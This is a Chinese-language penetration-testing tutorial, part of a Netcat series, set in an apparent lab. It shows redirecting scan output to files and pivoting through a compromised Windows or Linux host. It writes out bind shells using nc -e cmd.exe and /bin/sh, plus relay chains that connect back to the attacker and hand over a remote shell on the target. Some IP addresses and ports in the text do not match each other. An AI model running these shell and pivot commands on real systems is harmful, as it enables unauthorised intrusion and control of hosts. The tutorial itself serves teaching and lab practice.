导语:​本文是NC攻击教程的第三部分,我们会讲解一些更高级的攻击技术。

本文是NC攻击教程的第三部分,我们会讲解一些更高级的攻击技术。众所周知,netcat在网络工具中被称为瑞士军刀。那么,作为网络工具中的瑞士军刀,它的功能应该非常强大,不仅仅只是建立原始数据连接和反弹shell如此简单。因此,我们必须要对它的高级功能一探究竟。本文我们将学习如何将Netcat结果输出到文件和应用程序,以及利用Netcat如何进行网络转发。本文我们将列举几个不同的场景,并且用Netcat进行网络转发。当攻击者的网络无法直接访问目标机所在的网络时,转发网络连接将会起到重要作用。这种情况下,我们可以入侵一台能够访问网络并且转发连接的主机。这台被入侵的主机称为中转点。

我们先从把Netcat结果通过管道输出到文件和应用开始。

Netcat结果输出到文件

首先,我们将把一个简单的netcat端口扫描结果输出到文件output.txt中。在普通的命令行中,可以通过’>’操作符,后面跟上文件名将结果输出到文件中。但是在netcat中,这么做是不起作用的,我们需要把stderr(标准错误)和stdout(标准输出)都重定向到文件中。我们可以使用以下命令执行此操作:

nc -vv -z localhost 1-100 > output.txt 2>&1

1.jpg

这条命令将端口扫描的所有结果都输出到output.txt中,我们可以使用grep命令来过滤开放的端口:

nc -vv -z localhost 1-100 2>&1 | grep open > output.txt

2.jpg

这条命令只是把开放端口结果输出到文件中,我们来看看如何把netcat输入和输出通过管道发送到中转网络连接中。

Netcat进行Windows网络转发

假设现在我们有两台Windows主机和一台kali攻击机。我们现在已经利用kali拿下了主机1,我们也想拿到主机2的shell,但是主机2只能通过主机1才能访问。我们需要把kali的流量定向到主机1中,然后通过重定向到主机2中,并且结果要返回到主机1中,这样才能重定向回攻击者的kali里。是不是有点蒙?我们来看看下面这张图,以便更好理解:

3.jpg

在虚拟实验环境中,我们搭建了此场景,两台Windows主机和一台kali。在中转点,我们将把kali上的输入命令发送到靶机中,而靶机的输出结果也会从中转点发送回kali攻击机上。我们来看看在每台机器上需要执行的Netcat命令。我们将使用3333和4444端口进行连接和转发。

· Windows主机1需要把3333端口的入站流量定向到Windows主机2的4444端口上并且Windows主机2上的输入流量必须发送到kali的2222端口并且输出结果。

· Windows主机2需要把4444端口上的输入命令附加到cmd.exe中并把输出结果重定向到Windows主机1的4444端口上。

· kali通过3333端口向Windows主机1发送命令并通过4444端口接收来自Windows主机1的输入。

鉴于以上信息,我们需要在每个机器上按照顺序执行以下命令:

· kali终端输入:nc -lvp 3333

· kali终端输出:nc -lvp 4444

· windows主机2:nc -lvp 4444 -e cmd.exe

· windows主机1: nc.exe 10.11.1.16 3333 | nc.exe 10.11.1.198 4444 | nc.exe 10.11.1.16 2222

下图描述了kali攻击机,Windows1中转点和目标机Windows2之间的网络连接:

4.jpg

kali终端上输入的命令通过中转点,在目标机Windows2上得以执行,Windows主机2的输出结果也通过中转点重定向回kali攻击机的输出终端中。这么做唯一的问题是执行的命令和输出结果会有延迟。发送命令后,你必须敲回车一次或两次来查看kali终端中是否出现输出结果。

这么做稍微有点复杂,不过如果中转点Windows主机1上的netcat中-e 参数可用时,还有一个更简单的选择。这个方法只需要在kali攻击机上使用1个终端会话,我们来看看以下命令来了解它的工作原理:

· kali: nc -lvp 4444

· winddow主机2:nc -lvp 4444 -e cmd.exe

· window主机1:nc -v 10.11.1.16 4444 -c ”nc -v 10.11.1.198 4444”

第一条命令在攻击机上设置监听,在目标机上执行第二条命令。最后一条命令与kali攻击机建立一个Netcat会话并且使用到目标机的新会话作为入站程序。请注意,中转点和目标机使用netcat时都加了-e参数。

5.jpg

在第一个终端中,你可以看到我们已经通过中转点获取到目标机上的shell了。这种方法也会稍有延迟,所以你需要敲一两次回车来接收目标机的输出。如果你知道如何解决这个问题,请在下面留言。

现在我们再来看看能不能在3台Linux主机上实现

Netcat进行Linux网络转发

在这个场景中,我们有3台Linux主机:

· 10.11.1.16是kali攻击机

· 10.11.1.250是中转点

· 10.11.1.95是目标机

下图清楚地阐明了3台主机之间的场景:

6.jpg

在不同主机上按照以下顺序依次执行命令:

· 10.11.1.16 kali攻击机: nc -lvp 4444

· 10.11.1.95 目标机: nc -lvp 4444 -e /bin/sh

· 10.11.1.250 中转点: nc -v 10.11.1.16 4444 -e "nc -v 10.11.1.96 4444"

第一条命令在kali上监听4444端口,第二条命令是在目标机上监听4444端口。最后一条命令是在中转点上执行的,同时连接到攻击机和目标机的4444端口上。

下图展示了3台主机各自的终端,第一个是攻击机终端,第二个是中转点终端,最后一个是目标机终端:

7.jpg

在攻击机终端中,我们输入了whoami命令和ifconfig命令,whoami的输出结果是root,ifconfig查看到的IP是10.11.1.95,也就是目标机的IP地址,表明这个实验完成的很成功。现在通过中转点进行转发连接,我们已经可以控制目标机了,而我们的攻击机通过网络上的路由本来是无法访问到目标机的。这个场景刚开始可能会让你有些困惑,不过不用担心,花些时间慢慢去理解,并且要经常去复现这种场景,以便更好的了解其中的原理。

通过本文,我们学习了输出netcat结果,比如端口扫描结果和网络连接,而且我们也学了如何利用Linux和Windows中转点来转发网络连接,希望大家有所收获。

源链接

Hacking more

...